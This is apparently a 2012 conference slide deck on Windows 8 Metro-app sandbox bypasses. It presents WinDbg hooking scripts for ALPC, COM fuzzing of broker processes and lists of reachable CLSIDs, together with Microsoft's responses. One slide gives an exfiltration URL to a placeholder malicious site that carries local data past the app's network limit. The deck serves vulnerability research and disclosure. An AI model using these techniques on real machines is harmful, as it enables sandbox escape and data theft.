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CHROOT Security Group 





• Fancy UI! 
 

• Lots of security 
improvements! 
 

• Very secure! 
 

• Very robust! 



Agenda 

• The security design of Metro Style Apps 

 

• Sandbox Bypassing Analysis 

 

• Problems discovery and the attack vectors 
– ALPC / COM / WinRT / Design Logic 

 

• Some issues and responses from MSRC 
 

• Conclusion 



New Security Features in Windows 8 

• IE 10 

– EPMIE 

– /GS, /SAFESEH, 
/DYNAMICBASE,  

– DEP/NX SHEHOP,  

– ASLR 

– HTML5 Sandbox 

•  New kernel protection 

•UEFI 

•  Application 
SmartScreen 

•  Exploit mitigation 
improvement 

•… 

 





Capability Setting 



Capabilities 

• Network 
–  Enterprise auth., client, server & client, Intranet, 

Text, Messaging, etc. 

• File System 
–  Documents, Pictures, Music, Video, etc. 

• Devices 
–  Location (e.g. GPS), Microphone, Proximity (e.g. 

NFC), Removable storage, etc. 

• Things that are specific to an application (local 
storage, settings, etc.) do not require 
capabilities. 





Source: http://blogs.msdn.com/b/b8/archive/2012/02/09/building-windows-for-the-arm-
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WinRT APIs 

• Windows Runtime (WinRT API) is the backbone of 
the new Metro-style apps (also known as Immersive) 
in the Windows 8 operating system. 

• It provides a set of API that can be called from .NET 
languages (C#, VB.NET, F#), C++, and HTML / 
JavaScript. 

• Apps created for WinRT are 

– Safe 

– Secure 

– Sandboxed 

 





http://www.flickr.com/photos/loufi/3500076/ 

http://www.flickr.com/photos/loufi/3500076/


AppContainer 

• What is an application sandbox? 

–  A sandbox is a mechanism to isolate untrusted processes. 

–  Protecting system from exploit attack. 

–  All metro style apps run in AppContainer. 

• What does a sandbox contain? 

–  Isolated process which runs with very limited rights 

–  Broker, a process which could execute specific actions for a 
isolated process 

–  An IPC mechanism to allow isolated processes to 
communicate with broker 



Picture Source: http://ameblo.jp/naoshi1128/entry-11049964906.html 



source: http://blogs.msdn.com/b/b8/archive/2012/05/17/delivering-reliable-and-trustworthy-metro-style-apps.aspx 

We agree all of these designs really provide a secure execution 
environment for Metro style apps. 



Security design of Metro Style App 

• Executed in an "App Container“ 

–  Secured through a sandbox 

–  Severely limited resources access 

–  Limited resource access: need explicit permissions 

–  Use a restricted subset of .NET and Win32 APIs 

 

• Distributed only through the Windows Store 



Previous Works on Sandbox Bypassing 

• Exploit kernel or privilege escalation vulnerabilities to 
escape sandbox. 

• File system: looking for accessible folders/files and 
registries, especially some writable locations on the 
disk. And to see what we can do or what we can get 
from these places. 

• Sending message or keyboard events to outside of 
sandbox, it might trigger some privilege actions. 

• Leverage special handles: some available handles 
might be used to communicate with other process or 
resources. 

 





Metro Style 
Apps 

RuntimeBroker 

Find the Target 



Metro Style 
Apps 

WinRT 

COM COM 

RuntimeBroker 

ALPC 

COM API 

WinRT API 

Attack Vectors 



• ALPC 

• COM 

• WinRT 

• Design Logic 

AppContainer Sandbox Attack Vectors 





Source: http://mba.shengwushibie.com/itbook/BookChapter.asp?id=28217 
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AppContainer 
Sandbox 

Ref: http://www.quarkslab.com/dl/2012-HITB-WinRT.pdf 
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!alpc 
0: kd> !alpc /lpp 85c44400 

Ports created by the process 85c44400: 

Port 856b11b0 is not a connection port. 

Ports the process 85c44400 is connected to: 

 8491b038 0 -> 83ae22e0('ApiPort') 0 852bf6c0('csrss.exe') 

 83ad9660 0 -> 83ac4540('lsapolicylookup') 0 83aa0300('lsass.exe') 

 8495b458 0 -> 8571fd98('epmapper') 0 85720c00('svchost.exe') 

 86058408 0 -> 85722270('actkernel') 0 8570ea00('svchost.exe') 

 83fc1038 0 -> 857da150('ThemeApiPort') 0 857c0a80('svchost.exe') 

 8492ee40 0 -> 85ed35b0('OLECE394EC247374B3DB80DFB0D7935') 0 
85e4bcc0('explorer.exe') 

 85f9f2a8 0 -> 83ac43f0('lsasspirpc') 0 83aa0300('lsass.exe') 

 8513e8f8 0 -> 857bdef8('FontCachePort') 0 857b4c00('svchost.exe') 

 86000618 0 -> 85d67188('msctf.serverDefault1') 0 85d66700('taskhost.exe') 

 83abd6f0 0 -> 84967c28('OLE94FA4C860892A252B3E8A6020AC3') 1 
84b0f380('RuntimeBroker.') 



ALPC syscall 

82027f18  823ee774 nt!NtAlpcSetInformation 
82027f1c  8247ba70 nt!NtAlpcSendWaitReceivePort 
82027f20  824904ce nt!NtAlpcRevokeSecurityContext 
82027f24  8248a704 nt!NtAlpcQueryInformationMessage 
82027f28  823fdd80 nt!NtAlpcQueryInformation 
82027f2c  82408280 nt!NtAlpcOpenSenderThread 
82027f30  823fdfdc nt!NtAlpcOpenSenderProcess 
82027f34  824916d0 nt!NtAlpcImpersonateClientOfPort 
82027f38  824b2f06 nt!NtAlpcDisconnectPort 
82027f3c  82490b26 nt!NtAlpcDeleteSecurityContext 
82027f40  824cdcd4 nt!NtAlpcDeleteSectionView 
82027f44  824dc258 nt!NtAlpcDeleteResourceReserve 
82027f48  824cd3e8 nt!NtAlpcDeletePortSection 
82027f4c  82490034 nt!NtAlpcCreateSecurityContext 
82027f50  824cd72a nt!NtAlpcCreateSectionView 
82027f54  824dc024 nt!NtAlpcCreateResourceReserve 
82027f58  824ccf96 nt!NtAlpcCreatePortSection 
82027f5c  824defc4 nt!NtAlpcCreatePort 
82027f60  824e9ae4 nt!NtAlpcConnectPort 
82027f64  824e9aa0 nt!NtAlpcConnectPortEx 
82027f68  8247bca0 nt!NtAlpcCancelMessage 
82027f6c  824f78de nt!NtAlpcAcceptConnectPort 



APLC Communication 

82027f1c  8247ba70 nt!NtAlpcSendWaitReceivePort 

 

82027f5c  824defc4 nt!NtAlpcCreatePort 

 

82027f60  824e9ae4 nt!NtAlpcConnectPort 

 

82027f6c  824f78de nt!NtAlpcAcceptConnectPort 



HOOK ALPC communication (1) 

bp ntdll!NtAlpcSendWaitReceivePort ".catch{r @$t10 = 
0xe4c;.if(@$teb != 0){.if(poi(@$teb+20) = @$t10){!handle 
poi(esp+0x4);.process; .printf \"PID:%x PortHandle:%x Flags:%x 
SendMessage:%x SendMessageAttributes:%x ReceiveMessage:%x 
BufferLength:%x ReceiveMessageAttributes:%x 
Timeout:%x\r\n\",poi(@$teb+20),poi(esp+0x4),poi(esp+0x8),poi(esp+
0xc),poi(esp+0x10),poi(esp+0x14),poi(esp+0x18),poi(esp+0x1c),poi(esp
+0x20);.if(poi(esp+c)!=0){.printf \"send:\";dt _PORT_MESSAGE 
poi(esp+c);db poi(esp+c) l 
(poi(poi(esp+c))&0xffff)+0x18;gc;};.if(poi(esp+0x14)!=0){r @$t0 = 
poi(esp+0x14);.printf \"recv:\";bp poi(esp) \".process;.if(poi(@$teb+20) 
= @$t10){r @$t1 = (poi(@$t0)&0xffff)+0x18;dt _PORT_MESSAGE 
@$t0;!alpc /lpp;!alpc /m poi(@$t0+0x10);db @$t0 l @$t1;bc 
2;gc;}.else{gc;}\";gc;}}.else {gc;}}.else {gc;}}" 
 



bp nt!NtAlpcCreatePort ".process; .printf \"PID:%x PortHandle:%x ObjectAttributes:%x 
MaxConnectionInfoLength:%x MaxMessageLength:%x MaxPoolUsage:%x 
\r\n\",poi(@$teb+20),poi(esp+0x4),poi(esp+0x8),poi(esp+0xc),poi(esp+0x10),poi(esp+
0x14);" 

bp nt!NtAlpcConnectPort ".process; .printf \"PortHandle:%x PortName:%msu 
ObjectAttributes:%x PortAttributes:%x Flags:%x RequiredServerSid:%x 
ConnectionMessage:%x BufferLength:%x OutMessageAttributes:%x 
InMessageAttributes:%x Timeout:%x 
\r\n\",poi(esp+0x4),poi(esp+0x8),poi(esp+0xc),poi(esp+0x10),poi(esp+0x14),poi(esp+0
x18),poi(esp+0x1c),poi(esp+0x20),poi(esp+0x24),poi(esp+0x28),poi(esp+0x2c) " 

bp nt!NtAlpcAcceptConnectPort ".process; .printf \"PortHandle:%x 
ConnectionPortHandle:%x Flags:%x ObjectAttributes:%x PortAttributes:%x 
PortContext:%x ConnectionRequest:%x ConnectionMessageAttributes:%x 
AcceptConnection:%x 
\r\n\",poi(esp+0x4),poi(esp+0x8),poi(esp+0xc),poi(esp+0x10),poi(esp+0x14),poi(esp+0
x18),poi(esp+0x1c),poi(esp+0x20),poi(esp+0x24); “ 

HOOK ALPC communication (2) 



ALPC Analysis Flow 

.logopen “metroapp.txt” 

Hook nt!NtAlpcCreatePort 

Open Metro App 

Hook 
ntdll!NtAlpcSendWaitReceivePort 



ncalrpc:[\\Sessions\\1\\AppContainerNamedObjects\\S-1-15-2-
1115239912-5888679-3094415206-3103815194-10819155-
2778485781-2267460753\\RPC 
Control\\OLE9517A3676FBEC77BBFB0BB30B841] 



• {BE0DA0AD-C47E-56DA-BF00-F4344E2FCE93} 
App.wwa 



RuntimeBroker 

• {D63B10C5-BB46-4990-A94F-E40B9D520160} 
RuntimeBroker 

• {CAB3459C-3502-41a2-AF6F-3A999F8CD41E} 
IRuntimeBroker 



• Inline ASM 

• Hook ntdll!NtAlpcSendWaitReceivePort  

• Modify Send Fuzzzing Data  

 

 Metro APP 

Fuzzing ALPC communication 

Fuzzing 
Data 
Proxy 

Broker 
Process 

COM 





Windows 8 COM 

• InInitOrder.blink – kernelbase.dll (instead of kernel32.dll) 

• OLE32.dll(Win2000->Win7) 

• ComBase.dll (Windows 8) 



Purpose of COM Testing 

• Test stability of COM server 

– Looking for memory problem 

 

• Test functionality of COM server 

– There might be some useful functions can help us 
to do privileged operations. 



The Target - RuntimeBroker 

AppContainer 

Metro Style 
Apps 

WinRT 

RuntimeBroker 

COM 



The Target – Other Possibility 

AppContainer 

Metro Style 
Apps 

WinRT 

RuntimeBroker 

Other COM 
Servers 

COM 



The Target – Privilege 



Broker 
Process 

Examples: 

• Metro APP COM interface  

• RuntimeBroker.exe ->Medium 

• ImeBroker.exe ->Medium 

• Wkspbroker.exe->Medium 

• Tabtip.exe -> High 

• … 



The Target – Available COM 



Looking for Local Servers 



Attack COM server in Metro App 

COM Server 
 
Medium or 
High 

Metro APP  
Inline ASM 
 
CoCreateInstance 

IID Interface 
Fuzzing Attack 

VtFunc1 
VtFunc2 
VtFunc3 

Vptr 



CLSIDs of imebroker 

• {69B1A7D7-C09E-40E9-A1DF-688007A2D9E4} //imebroker.exe 
• {9A4B1918-0A2F-4422-89DD-35B3F455999C} //imebroker.exe 
• {A4FBCBC6-4BE5-4C3D-8AB5-8B873357A23E} //imebroker.exe 
• {BA6EE7D8-190D-423A-93CC-1270E6599195} //imebroker.exe 
• {C658E5BD-817B-41C8-8FB6-5B2B386A40EA} //imebroker.exe 
• {DE50C7BB-FAA7-4A7F-BA47-BF0EFCFE433D} //imebroker.exe 
• {DF46CD07-4F86-42F0-8FA9-35C3CE55D77B} //imebroker.exe 

 



Clsid with “ALL APPLICATION PACKAGE” 
launch permission 
• {7FC12E96-4CB7-4ABD-ADAA-EF7845B10629}//CredentialUIBroker.exe 
• {31337EC7-5767-11CF-BEAB-00AA006C3606}//AuthHost.exe 
• {36BBB745-0999-4FD8-A538-4D4D84E4BD09}//CLSID_JITDebuggingHost 
• {228826AF-02E1-4226-A9E0-99A855E455A6}//Immersive Shell Broker unknow 
• {A47979D2-C419-11D9-A5B4-001185AD2B89}//Network List Manager unknow 
• {C4D6E899-E38A-4838-9188-0B98EE3175E6}//ProgrammabilityManager Class unknow 
• {D63B10C5-BB46-4990-A94F-E40B9D520160}//RuntimeBroker.exe 
• {549E57E9-B362-49D1-B679-B64D510EFE4B}//ShareFlow 
• {7B6EA1D5-03C2-4AE4-B21C-8D0515CC91B7}//Shell Create Object Task Server unknow 
• {F1425A67-1545-44A2-AB59-8DF1020452D9}//Spell Checking Host Class 
• {D6E88812-F325-4DC1-BBC7-23076618E58D}//TsfManager Class unknow TabTip.exe 
• {6B19643A-0CD7-4563-B710-BDC191FCAD3B}//TSFstateManager Class unknow TabTip.exe 
• {054AAE20-4BEA-4347-8A35-64A533254A9D}//high  UIHost Class  TabTip.exe 
• {4CE576FA-83DC-4F88-951C-9D0782B4E376}//UIHostNoLaunch Class unknow TabTip.exe 
• {2F93C02D-77F9-46B4-95FB-8CBB81EEB62C}//DevicesFlow 
• {19C65143-6230-42FA-A58E-7D9FA9BE2EB5}//WorkspaceBroker Class  wkspbroker.exe 

 



Looking for Interfaces of Local Server 



Looking for functions of Local Server 



COM Interface Method Fuzzing 

COM Server 
 
Medium or 
High 

Desktop APP  

IID Interface 

Debug Process 

Attache 

Error Handle 
__try 
__except 

CoCreateInstance 
 

Fuzzing Attack 









Discovered an Issue of a Broker Process 

• OpenWith.exe (memory corruption) 









Bypass Internet Connection Limitation 

Metro App 

X 

Internet 



MSRC: 
Such undesirable activities are highly 
detectable by either users or the AV 
industry, and once reported to 
Microsoft, we have the ability to 
remove the offending app from all user 
machines, thus protecting Windows 8 
users. 



Bypass Internet Connection Limitation 

Metro App 

Malicious site 

1. Access local sensitive information 

No Internet capability 

2. mms://Malicious_site/information?data=ab41962ab 





Inline ASM and Shellcode 

7/28/2012 



ClickOnce package (.Application/.xbap) 
is executable 

7/28/2012 



DLL Hijacking 

7/28/2012 



MSRC: 
(ClickOnce) 
ClickOnce problem will be fixed in next 
Windows 8 release. 
 
(DLL Hijacking) 
We would consider this type of exploit a 
vulnerability in the desktop applications 
rather than a vulnerability in the metro app 
or the platform. We continue to address DLL 
hijacking bugs in security updates as 
detailed in our security advisory for Insecure 
Library loading.  





Demo 



FilePicker 

• PickerHost.exe (the broker process) 
– The broker process 

– Medium permission 

– When user need to save / read files from some specific 
folder which is not specified in capability settings. 

• Even you didn’t grant file system access to App, the 
App still can use SavePickFile/PickFolder to let user 
choice folders they want to access, such as save a file in 
user-specified folders. 

• After user clicking OK, the app can have full control of 
the folder with broker permission. 



7/28/2012 73 Confidential | Copyright 2012 Trend Micro 
Inc. 



MSRC: 
This is a deliberate feature, and fully 
under the user’s control. Users should 
not click “ok” to the File picker dialog if 
they do not want the app to have access 
to that folder tree. We consider this 
under the user’s control and as such do 
not view it as a threat. . 



Conclusion 

• Introduced 

–  Security design of AppContainer 

–  The methodology of Metro style app vulnerability 
discovery 

–  The issues we have discovered. 

• Security v.s. convenience, a never solved 
problem? 

• Do users really know what will happen after 
clicking ‘OK’? 



http://exploitspace.blogspot.com/ 

Thanks! 

Contact: (nanika_pan|tt_tsai)@trend\.com\.tw 


